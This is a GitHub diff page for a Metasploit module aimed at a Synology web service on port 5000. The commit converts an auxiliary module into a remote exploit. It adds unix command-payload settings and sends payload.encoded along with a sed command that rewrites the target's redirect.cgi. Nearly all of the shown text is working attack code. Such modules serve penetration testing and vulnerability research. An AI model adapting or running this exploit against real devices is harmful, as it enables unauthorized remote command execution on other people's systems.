File tree Expand file tree Collapse file tree 1 file changed +21
-5
lines changed
modules/exploits/linux/http Expand file tree Collapse file tree 1 file changed +21
-5
lines changed Original file line number Diff line number Diff line change 5
5
6
6
require 'msf/core'
7
7
8
- class Metasploit3 < Msf ::Auxiliary
8
+ class Metasploit3 < Msf ::Exploit :: Remote
9
9
Rank = ExcellentRanking
10
10
11
11
include Msf ::Exploit ::Remote ::HttpClient
@@ -34,6 +34,23 @@ def initialize(info={})
34
34
] ,
35
35
'License' => MSF_LICENSE ,
36
36
'Privileged' => false ,
37
+ 'Platform' => [ 'unix' ] ,
38
+ 'Arch' => ARCH_CMD ,
39
+ 'Payload' =>
40
+ {
41
+ 'DisableNops' => true ,
42
+ 'Space' => 0x31337 ,
43
+ 'Compat' =>
44
+ {
45
+ 'PayloadType' => 'cmd' ,
46
+ 'RequiredCmd' => 'generic perl telnet' ,
47
+ }
48
+ } ,
49
+ 'Targets' =>
50
+ [
51
+ [ 'Automatic' , { } ]
52
+ ] ,
53
+ 'DefaultTarget' => 0 ,
37
54
'DisclosureDate' => 'Oct 31 2013' ,
38
55
'References' =>
39
56
[
@@ -43,8 +60,7 @@ def initialize(info={})
43
60
44
61
register_options (
45
62
[
46
- Opt ::RPORT ( 5000 ) ,
47
- OptString . new ( 'CMD' , [ true , 'The shell command to execute' ] )
63
+ Opt ::RPORT ( 5000 )
48
64
] , self . class )
49
65
end
50
66
@@ -83,11 +99,11 @@ def check
83
99
Exploit ::CheckCode ::Safe
84
100
end
85
101
86
- def run
102
+ def exploit
87
103
cmds = [
88
104
# sed is used to restore the redirect.cgi
89
105
"sed -i -e '/sed -i -e/,$d' /usr/syno/synoman/redirect.cgi" ,
90
- datastore [ 'CMD' ]
106
+ payload . encoded
91
107
] . join ( "\n " )
92
108
93
109
mime_msg = Rex ::MIME ::Message . new
You can’t perform that action at this time.
0 commit comments